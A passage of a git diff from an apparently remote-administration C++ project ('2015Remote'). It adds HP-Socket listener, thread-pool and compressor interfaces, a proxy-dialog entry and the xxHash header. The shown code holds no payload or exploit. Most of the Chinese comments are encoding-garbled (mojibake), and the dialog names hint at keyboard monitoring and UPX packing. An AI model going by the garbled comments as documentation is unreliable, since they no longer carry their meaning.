pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnShutdown(ITcpServer* pSender) {return HR_IGNORE;} + + virtual EnHttpParseResult OnMessageBegin(IHttpServer* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnRequestLine(IHttpServer* pSender, CONNID dwConnID, LPCSTR lpszMethod, LPCSTR lpszUrl) {return HPR_OK;} + virtual EnHttpParseResult OnStatusLine(IHttpServer* pSender, CONNID dwConnID, USHORT usStatusCode, LPCSTR lpszDesc) {return HPR_OK;} + virtual EnHttpParseResult OnHeader(IHttpServer* pSender, CONNID dwConnID, LPCSTR lpszName, LPCSTR lpszValue) {return HPR_OK;} + virtual EnHttpParseResult OnChunkHeader(IHttpServer* pSender, CONNID dwConnID, int iLength) {return HPR_OK;} + virtual EnHttpParseResult OnChunkComplete(IHttpServer* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnUpgrade(IHttpServer* pSender, CONNID dwConnID, EnHttpUpgradeType enUpgradeType) {return HPR_OK;} + + virtual EnHandleResult OnWSMessageHeader(IHttpServer* pSender, CONNID dwConnID, BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE lpszMask[4], ULONGLONG ullBodyLen) {return HR_IGNORE;} + virtual EnHandleResult OnWSMessageBody(IHttpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnWSMessageComplete(IHttpServer* pSender, CONNID dwConnID) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛欼HttpAgentListener 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CHttpAgentListener : public IHttpAgentListener +{ +public: + virtual EnHandleResult OnPrepareConnect(ITcpAgent* pSender, CONNID dwConnID, SOCKET socket) {return HR_IGNORE;} + virtual EnHandleResult OnConnect(ITcpAgent* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(ITcpAgent* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpAgent* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpAgent* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(ITcpAgent* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnShutdown(ITcpAgent* pSender) {return HR_IGNORE;} + + virtual EnHttpParseResult OnMessageBegin(IHttpAgent* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnRequestLine(IHttpAgent* pSender, CONNID dwConnID, LPCSTR lpszMethod, LPCSTR lpszUrl) {return HPR_OK;} + virtual EnHttpParseResult OnStatusLine(IHttpAgent* pSender, CONNID dwConnID, USHORT usStatusCode, LPCSTR lpszDesc) {return HPR_OK;} + virtual EnHttpParseResult OnHeader(IHttpAgent* pSender, CONNID dwConnID, LPCSTR lpszName, LPCSTR lpszValue) {return HPR_OK;} + virtual EnHttpParseResult OnChunkHeader(IHttpAgent* pSender, CONNID dwConnID, int iLength) {return HPR_OK;} + virtual EnHttpParseResult OnChunkComplete(IHttpAgent* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnUpgrade(IHttpAgent* pSender, CONNID dwConnID, EnHttpUpgradeType enUpgradeType) {return HPR_OK;} + + virtual EnHandleResult OnWSMessageHeader(IHttpAgent* pSender, CONNID dwConnID, BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE lpszMask[4], ULONGLONG ullBodyLen) {return HR_IGNORE;} + virtual EnHandleResult OnWSMessageBody(IHttpAgent* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnWSMessageComplete(IHttpAgent* pSender, CONNID dwConnID) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛欼HttpClientListener 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ + +class CHttpClientListener : public IHttpClientListener +{ +public: + virtual EnHandleResult OnPrepareConnect(ITcpClient* pSender, CONNID dwConnID, SOCKET socket) {return HR_IGNORE;} + virtual EnHandleResult OnConnect(ITcpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(ITcpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpClient* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(ITcpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + + virtual EnHttpParseResult OnMessageBegin(IHttpClient* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnRequestLine(IHttpClient* pSender, CONNID dwConnID, LPCSTR lpszMethod, LPCSTR lpszUrl) {return HPR_OK;} + virtual EnHttpParseResult OnStatusLine(IHttpClient* pSender, CONNID dwConnID, USHORT usStatusCode, LPCSTR lpszDesc) {return HPR_OK;} + virtual EnHttpParseResult OnHeader(IHttpClient* pSender, CONNID dwConnID, LPCSTR lpszName, LPCSTR lpszValue) {return HPR_OK;} + virtual EnHttpParseResult OnChunkHeader(IHttpClient* pSender, CONNID dwConnID, int iLength) {return HPR_OK;} + virtual EnHttpParseResult OnChunkComplete(IHttpClient* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnUpgrade(IHttpClient* pSender, CONNID dwConnID, EnHttpUpgradeType enUpgradeType) {return HPR_OK;} + + virtual EnHandleResult OnWSMessageHeader(IHttpClient* pSender, CONNID dwConnID, BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE lpszMask[4], ULONGLONG ullBodyLen) {return HR_IGNORE;} + virtual EnHandleResult OnWSMessageBody(IHttpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnWSMessageComplete(IHttpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛欼HttpClientListener 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ + +class CHttpSyncClientListener : public CHttpClientListener +{ +public: + virtual EnHandleResult OnClose(ITcpClient* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode) {return HR_IGNORE;} + + virtual EnHttpParseResult OnHeadersComplete(IHttpClient* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnBody(IHttpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HPR_OK;} + virtual EnHttpParseResult OnMessageComplete(IHttpClient* pSender, CONNID dwConnID) {return HPR_OK;} + virtual EnHttpParseResult OnParseError(IHttpClient* pSender, CONNID dwConnID, int iErrorCode, LPCSTR lpszErrorDesc) {return HPR_OK;} + +}; + +#endif + +/*****************************************************************************************************************************************************/ +/************************************************************** Thread Pool Interfaces ***************************************************************/ +/*****************************************************************************************************************************************************/ + +/************************************************************************ +鍚嶇О锛氱嚎绋嬫睜缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔夌嚎绋嬫睜缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IHPThreadPool +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬惎鍔ㄧ嚎绋嬫睜缁勪欢 + * 鎻忚堪锛 + * + * 鍙傛暟锛 dwThreadCount -- 绾跨▼鏁伴噺锛岋紙榛樿锛0锛 + * >0 -> dwThreadCount + * =0 -> (CPU鏍告暟 * 2 + 2) + * <0 -> (CPU鏍告暟 * (-dwThreadCount)) + * dwMaxQueueSize -- 浠诲姟闃熷垪鏈澶у閲忥紙榛樿锛0锛屼笉闄愬埗锛 + * enRejectedPolicy -- 浠诲姟鎷掔粷澶勭悊绛栫暐 + * TRP_CALL_FAIL锛堥粯璁わ級 锛氱珛鍒昏繑鍥炲け璐 + * TRP_WAIT_FOR 锛氱瓑寰咃紙鐩村埌鎴愬姛銆佽秴鏃舵垨绾跨▼姹犲叧闂瓑鍘熷洜瀵艰嚧澶辫触锛 + * TRP_CALLER_RUN 锛氳皟鐢ㄨ呯嚎绋嬬洿鎺ユ墽琛 + * dwStackSize -- 绾跨▼鍫嗘爤绌洪棿澶у皬锛堥粯璁わ細0 -> 鎿嶄綔绯荤粺榛樿锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Start (DWORD dwThreadCount = 0, DWORD dwMaxQueueSize = 0, EnRejectedPolicy enRejectedPolicy = TRP_CALL_FAIL, DWORD dwStackSize = 0) = 0; + + /* + * 鍚嶇О锛氬叧闂嚎绋嬫睜缁勪欢 + * 鎻忚堪锛氬湪瑙勫畾鏃堕棿鍐呭叧闂嚎绋嬫睜缁勪欢锛屽鏋滃伐浣滅嚎绋嬪湪鏈澶х瓑寰呮椂闂村唴鏈兘姝e父鍏抽棴锛屼細灏濊瘯寮哄埗鍏抽棴锛岃繖绉嶆儏鍐典笅寰堝彲鑳戒細閫犳垚绯荤粺璧勬簮娉勬紡 + * + * 鍙傛暟锛 dwMaxWait -- 鏈澶х瓑寰呮椂闂达紙姣锛岄粯璁わ細INFINITE锛屼竴鐩寸瓑寰咃級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Stop (DWORD dwMaxWait = INFINITE) = 0; + + /* + * 鍚嶇О锛氭彁浜や换鍔 + * 鎻忚堪锛氬悜绾跨▼姹犳彁浜ゅ紓姝ヤ换鍔 + * + * 鍙傛暟锛 fnTaskProc -- 浠诲姟澶勭悊鍑芥暟 + * pvArg -- 浠诲姟鍙傛暟 + * dwMaxWait -- 浠诲姟鎻愪氦鏈澶х瓑寰呮椂闂达紙浠呭 TRP_WAIT_FOR 绫诲瀷绾跨▼姹犵敓鏁堬紝榛樿锛欼NFINITE锛屼竴鐩寸瓑寰咃級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + * 鍏朵腑锛岄敊璇爜 ERROR_DESTINATION_ELEMENT_FULL 琛ㄧず浠诲姟闃熷垪宸叉弧 + */ + virtual BOOL Submit (Fn_TaskProc fnTaskProc, PVOID pvArg, DWORD dwMaxWait = INFINITE) = 0; + + /* + * 鍚嶇О锛氭彁浜 Socket 浠诲姟 + * 鎻忚堪锛氬悜绾跨▼姹犳彁浜ゅ紓姝 Socket 浠诲姟 + * + * 鍙傛暟锛 pTask -- 浠诲姟鍙傛暟 + * dwMaxWait -- 浠诲姟鎻愪氦鏈澶х瓑寰呮椂闂达紙浠呭 TRP_WAIT_FOR 绫诲瀷绾跨▼姹犵敓鏁堬紝榛樿锛欼NFINITE锛屼竴鐩寸瓑寰咃級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + * 鍏朵腑锛岄敊璇爜 ERROR_DESTINATION_ELEMENT_FULL 琛ㄧず浠诲姟闃熷垪宸叉弧 + * 娉ㄦ剰锛氬鏋滄彁浜ゅけ璐ワ紝闇瑕佹墜宸ヨ皟鐢 Destroy_HP_SocketTaskObj() 閿姣 TSocketTask 瀵硅薄 + */ + virtual BOOL Submit (LPTSocketTask pTask, DWORD dwMaxWait = INFINITE) = 0; + + /* + * 鍚嶇О锛氳皟鏁寸嚎绋嬫睜澶у皬 + * 鎻忚堪锛氬鍔犳垨鍑忓皯绾跨▼姹犵殑宸ヤ綔绾跨▼鏁伴噺 + * + * 鍙傛暟锛 dwNewThreadCount -- 绾跨▼鏁伴噺 + * >0 -> dwNewThreadCount + * =0 -> (CPU鏍告暟 * 2 + 2) + * <0 -> (CPU鏍告暟 * (-dwNewThreadCount)) + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL AdjustThreadCount(DWORD dwNewThreadCount) = 0; + + /* + * 鍚嶇О锛氱瓑寰 + * 鎻忚堪锛氱瓑寰呯嚎绋嬫睜缁勪欢鍋滄杩愯 + * + * 鍙傛暟锛 dwMilliseconds -- 瓒呮椂鏃堕棿锛堟绉掞紝榛樿锛-1锛屾案涓嶈秴鏃讹級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Wait(DWORD dwMilliseconds = INFINITE) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 妫鏌ョ嚎绋嬫睜缁勪欢鏄惁宸插惎鍔 */ + virtual BOOL HasStarted () = 0; + /* 鏌ョ湅绾跨▼姹犵粍浠跺綋鍓嶇姸鎬 */ + virtual EnServiceState GetState () = 0; + /* 鑾峰彇褰撳墠浠诲姟绛夊緟闃熷垪澶у皬 */ + virtual DWORD GetQueueSize () = 0; + /* 鑾峰彇褰撳墠姝e湪鎵ц鐨勪换鍔℃暟閲 */ + virtual DWORD GetTaskCount () = 0; + /* 鑾峰彇宸ヤ綔绾跨▼鏁伴噺 */ + virtual DWORD GetThreadCount () = 0; + /* 鑾峰彇浠诲姟闃熷垪鏈澶у閲 */ + virtual DWORD GetMaxQueueSize () = 0; + /* 鑾峰彇浠诲姟鎷掔粷澶勭悊绛栫暐 */ + virtual EnRejectedPolicy GetRejectedPolicy () = 0; + +public: + virtual ~IHPThreadPool() {}; +}; + +/************************************************************************ +鍚嶇О锛氱嚎绋嬫睜鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔夌嚎绋嬫睜鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IHPThreadPoolListener +{ +public: + + /* + * 鍚嶇О锛氱嚎绋嬫睜鍚姩閫氱煡 + * 鎻忚堪锛氱嚎绋嬫睜鍚姩鏃剁洃鍚櫒灏嗘敹鍒拌閫氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛岄澶勭悊宸ヤ綔 + * + * 鍙傛暟锛 pThreadPool -- 绾跨▼姹犲璞 + * 杩斿洖鍊硷細 鏃 + */ + virtual void OnStartup(IHPThreadPool* pThreadPool) = 0; + + /* + * 鍚嶇О锛氱嚎绋嬫睜鍚姩鍏抽棴閫氱煡 + * 鎻忚堪锛氱嚎绋嬫睜鍏抽棴鏃剁洃鍚櫒灏嗘敹鍒拌閫氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛屽悗澶勭悊宸ヤ綔 + * + * 鍙傛暟锛 pThreadPool -- 绾跨▼姹犲璞 + * 杩斿洖鍊硷細 鏃 + */ + virtual void OnShutdown(IHPThreadPool* pThreadPool) = 0; + + /* + * 鍚嶇О锛氬伐浣滅嚎绋嬪惎鍔ㄩ氱煡 + * 鎻忚堪锛氬伐浣滅嚎绋嬪惎鍔ㄦ椂鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛岀嚎绋嬬骇鍒澶勭悊宸ヤ綔 + * + * 鍙傛暟锛 pThreadPool -- 绾跨▼姹犲璞 + * dwThreadID -- 宸ヤ綔绾跨▼ ID + * 杩斿洖鍊硷細 鏃 + */ + virtual void OnWorkerThreadStart(IHPThreadPool* pThreadPool, THR_ID dwThreadID) = 0; + + /* + * 鍚嶇О锛氬伐浣滅嚎绋嬮鍑洪氱煡 + * 鎻忚堪锛氬伐浣滅嚎绋嬮鍑烘椂鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛岀嚎绋嬬骇鍒悗澶勭悊宸ヤ綔 + * + * 鍙傛暟锛 pThreadPool -- 绾跨▼姹犲璞 + * dwThreadID -- 宸ヤ綔绾跨▼ ID + * 杩斿洖鍊硷細 鏃 + */ + virtual void OnWorkerThreadEnd(IHPThreadPool* pThreadPool, THR_ID dwThreadID) = 0; + +public: + virtual ~IHPThreadPoolListener() {}; +}; + +/************************************************************************ +鍚嶇О锛氱嚎绋嬫睜鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CHPThreadPoolListener : public IHPThreadPoolListener +{ +public: + virtual void OnStartup(IHPThreadPool* pThreadPool) {} + virtual void OnShutdown(IHPThreadPool* pThreadPool) {} + virtual void OnWorkerThreadStart(IHPThreadPool* pThreadPool, THR_ID dwThreadID) {} + virtual void OnWorkerThreadEnd(IHPThreadPool* pThreadPool, THR_ID dwThreadID) {} +}; + +/************************************************************************ +鍚嶇О锛氬帇缂╁櫒鎺ュ彛 +鎻忚堪锛氬畾涔夊帇缂╁櫒鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IHPCompressor +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氭墽琛屽帇缂 + * 鎻忚堪锛氬彲寰幆璋冪敤浠ュ帇缂╂祦寮忔垨鍒嗘鏁版嵁 + * + * 鍙傛暟锛 pData -- 寰呭帇缂╂暟鎹紦鍐插尯 + * iLength -- 寰呭帇缂╂暟鎹暱搴 + * bLast -- 鏄惁鏈鍚庝竴娈靛緟鍘嬬缉鏁版嵁 + * pContext -- 鍘嬬缉鍥炶皟鍑芥暟 Fn_CompressDataCallback 鐨勪笂涓嬫枃鍙傛暟 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Process(const BYTE* pData, int iLength, BOOL bLast, PVOID pContext = nullptr) = 0; + + /* + * 鍚嶇О锛氭墽琛屽帇缂 + * 鎻忚堪锛氬彲寰幆璋冪敤浠ュ帇缂╂祦寮忔垨鍒嗘鏁版嵁 + * + * 鍙傛暟锛 pData -- 寰呭帇缂╂暟鎹紦鍐插尯 + * iLength -- 寰呭帇缂╂暟鎹暱搴 + * bLast -- 鏄惁鏈鍚庝竴娈靛緟鍘嬬缉鏁版嵁 + * bFlush -- 鏄惁寮哄埗鍒锋柊锛堝己鍒跺埛鏂颁細闄嶄綆鍘嬬缉鏁堢巼锛屼絾鍙鏁版嵁杩涜鍒嗘鍘嬬缉锛 + * pContext -- 鍘嬬缉鍥炶皟鍑芥暟 Fn_CompressDataCallback 鐨勪笂涓嬫枃鍙傛暟 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL ProcessEx(const BYTE* pData, int iLength, BOOL bLast, BOOL bFlush = FALSE, PVOID pContext = nullptr) = 0; + + /* 閲嶇疆鍘嬬缉鍣 */ + virtual BOOL Reset() = 0; + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 妫娴嬪帇缂╁櫒鏄惁鍙敤 */ + virtual BOOL IsValid() = 0; + +public: + virtual ~IHPCompressor() {}; +}; + +/************************************************************************ +鍚嶇О锛氳В鍘嬪櫒鎺ュ彛 +鎻忚堪锛氬畾涔夎В鍘嬪櫒鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IHPDecompressor +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氭墽琛岃В鍘 + * 鎻忚堪锛氬彲寰幆璋冪敤浠ヨВ鍘嬫祦寮忔垨鍒嗘鏁版嵁 + * + * 鍙傛暟锛 pData -- 寰呰В鍘嬫暟鎹紦鍐插尯 + * iLength -- 寰呰В鍘嬫暟鎹暱搴 + * pContext -- 瑙e帇鍥炶皟鍑芥暟 Fn_DecompressDataCallback 鐨勪笂涓嬫枃鍙傛暟 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Process(const BYTE* pData, int iLength, PVOID pContext = nullptr) = 0; + + /* 閲嶇疆瑙e帇鍣 */ + virtual BOOL Reset() = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 妫娴嬭В鍘嬪櫒鏄惁鍙敤 */ + virtual BOOL IsValid() = 0; + +public: + virtual ~IHPDecompressor() {}; +}; diff --git a/server/2015Remote/res/Bitmap/Online.bmp b/server/2015Remote/res/Bitmap/Online.bmp index a16e281..355a16a 100644 Binary files a/server/2015Remote/res/Bitmap/Online.bmp and b/server/2015Remote/res/Bitmap/Online.bmp differ diff --git a/server/2015Remote/res/Bitmap/Share.bmp b/server/2015Remote/res/Bitmap/Share.bmp index 5f656fc..36dc5dc 100644 Binary files a/server/2015Remote/res/Bitmap/Share.bmp and b/server/2015Remote/res/Bitmap/Share.bmp differ diff --git a/server/2015Remote/res/Bitmap/note.bmp b/server/2015Remote/res/Bitmap/note.bmp new file mode 100644 index 0000000..60f57bc Binary files /dev/null and b/server/2015Remote/res/Bitmap/note.bmp differ diff --git a/server/2015Remote/res/Bitmap/proxy.bmp b/server/2015Remote/res/Bitmap/proxy.bmp new file mode 100644 index 0000000..c7e7db5 Binary files /dev/null and b/server/2015Remote/res/Bitmap/proxy.bmp differ diff --git a/server/2015Remote/res/delete.bmp b/server/2015Remote/res/delete.bmp index 635f56b..3da1fd0 100644 Binary files a/server/2015Remote/res/delete.bmp and b/server/2015Remote/res/delete.bmp differ diff --git a/server/2015Remote/res/proxifler.ico b/server/2015Remote/res/proxifler.ico new file mode 100644 index 0000000..bc997de Binary files /dev/null and b/server/2015Remote/res/proxifler.ico differ diff --git a/server/2015Remote/res/update.bmp b/server/2015Remote/res/update.bmp index 1d3e86f..332fa8d 100644 Binary files a/server/2015Remote/res/update.bmp and b/server/2015Remote/res/update.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 1770233..360a4ac 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index ae05d79..0be2720 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -83,6 +83,7 @@ #define WM_HANDLEMESSAGE WM_USER+3011 #define WM_OPENKEYBOARDDIALOG WM_USER+3012 #define WM_UPXTASKRESULT WM_USER+3013 +#define WM_OPENPROXYDIALOG WM_USER+3014 enum { @@ -96,7 +97,8 @@ enum SERVICES_DLG, REGISTER_DLG, TALK_DLG, - MONITOR_DLG + MONITOR_DLG, + PROXY_DLG, }; diff --git a/server/2015Remote/xxhash.h b/server/2015Remote/xxhash.h new file mode 100644 index 0000000..1ad2ddb --- /dev/null +++ b/server/2015Remote/xxhash.h @@ -0,0 +1,7343 @@ +/* + * xxHash - Extremely Fast Hash algorithm + * Header File + * Copyright (C) 2012-2023 Yann Collet + * + * BSD 2-Clause License (https://www.opensource.org/licenses/bsd-license.php) + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following disclaimer + * in the documentation and/or other materials provided with the + * distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * You can contact the author at: + * - xxHash homepage: https://www.xxhash.com + * - xxHash source repository: https://github.com/Cyan4973/xxHash + */ + +/*! + * @mainpage xxHash + * + * xxHash is an extremely fast non-cryptographic hash algorithm, working at RAM speed + * limits. + * + * It is proposed in four flavors, in three families: + * 1. @ref XXH32_family + * - Classic 32-bit hash function. Simple, compact, and runs on almost all + * 32-bit and 64-bit systems. + * 2. @ref XXH64_family + * - Classic 64-bit adaptation of XXH32. Just as simple, and runs well on most + * 64-bit systems (but _not_ 32-bit systems). + * 3. @ref XXH3_family + * - Modern 64-bit and 128-bit hash function family which features improved + * strength and performance across the board, especially on smaller data. + * It benefits greatly from SIMD and 64-bit without requiring it. + * + * Benchmarks + * --- + * The reference system uses an Intel i7-9700K CPU, and runs Ubuntu x64 20.04. + * The open source benchmark program is compiled with clang v10.0 using -O3 flag. + * + * | Hash Name | ISA ext | Width | Large Data Speed | Small Data Velocity | + * | -------------------- | ------- | ----: | ---------------: | ------------------: | + * | XXH3_64bits() | @b AVX2 | 64 | 59.4 GB/s | 133.1 | + * | MeowHash | AES-NI | 128 | 58.2 GB/s | 52.5 | + * | XXH3_128bits() | @b AVX2 | 128 | 57.9 GB/s | 118.1 | + * | CLHash | PCLMUL | 64 | 37.1 GB/s | 58.1 | + * | XXH3_64bits() | @b SSE2 | 64 | 31.5 GB/s | 133.1 | + * | XXH3_128bits() | @b SSE2 | 128 | 29.6 GB/s | 118.1 | + * | RAM sequential read | | N/A | 28.0 GB/s | N/A | + * | ahash | AES-NI | 64 | 22.5 GB/s | 107.2 | + * | City64 | | 64 | 22.0 GB/s | 76.6 | + * | T1ha2 | | 64 | 22.0 GB/s | 99.0 | + * | City128 | | 128 | 21.7 GB/s | 57.7 | + * | FarmHash | AES-NI | 64 | 21.3 GB/s | 71.9 | + * | XXH64() | | 64 | 19.4 GB/s | 71.0 | + * | SpookyHash | | 64 | 19.3 GB/s | 53.2 | + * | Mum | | 64 | 18.0 GB/s | 67.0 | + * | CRC32C | SSE4.2 | 32 | 13.0 GB/s | 57.9 | + * | XXH32() | | 32 | 9.7 GB/s | 71.9 | + * | City32 | | 32 | 9.1 GB/s | 66.0 | + * | Blake3* | @b AVX2 | 256 | 4.4 GB/s | 8.1 | + * | Murmur3 | | 32 | 3.9 GB/s | 56.1 | + * | SipHash* | | 64 | 3.0 GB/s | 43.2 | + * | Blake3* | @b SSE2 | 256 | 2.4 GB/s | 8.1 | + * | HighwayHash | | 64 | 1.4 GB/s | 6.0 | + * | FNV64 | | 64 | 1.2 GB/s | 62.7 | + * | Blake2* | | 256 | 1.1 GB/s | 5.1 | + * | SHA1* | | 160 | 0.8 GB/s | 5.6 | + * | MD5* | | 128 | 0.6 GB/s | 7.8 | + * @note + * - Hashes which require a specific ISA extension are noted. SSE2 is also noted, + * even though it is mandatory on x64. + * - Hashes with an asterisk are cryptographic. Note that MD5 is non-cryptographic + * by modern standards. + * - Small data velocity is a rough average of algorithm's efficiency for small + * data. For more accurate information, see the wiki. + * - More benchmarks and strength tests are found on the wiki: + * https://github.com/Cyan4973/xxHash/wiki + * + * Usage + * ------ + * All xxHash variants use a similar API. Changing the algorithm is a trivial + * substitution. + * + * @pre + * For functions which take an input and length parameter, the following + * requirements are assumed: + * - The range from [`input`, `input + length`) is valid, readable memory. + * - The only exception is if the `length` is `0`, `input` may be `NULL`. + * - For C++, the objects must have the *TriviallyCopyable* property, as the + * functions access bytes directly as if it was an array of `unsigned char`. + * + * @anchor single_shot_example + * **Single Shot** + * + * These functions are stateless functions which hash a contiguous block of memory, + * immediately returning the result. They are the easiest and usually the fastest + * option. + * + * XXH32(), XXH64(), XXH3_64bits(), XXH3_128bits() + * + * @code{.c} + * #include + * #include "xxhash.h" + * + * // Example for a function which hashes a null terminated string with XXH32(). + * XXH32_hash_t hash_string(const char* string, XXH32_hash_t seed) + * { + * // NULL pointers are only 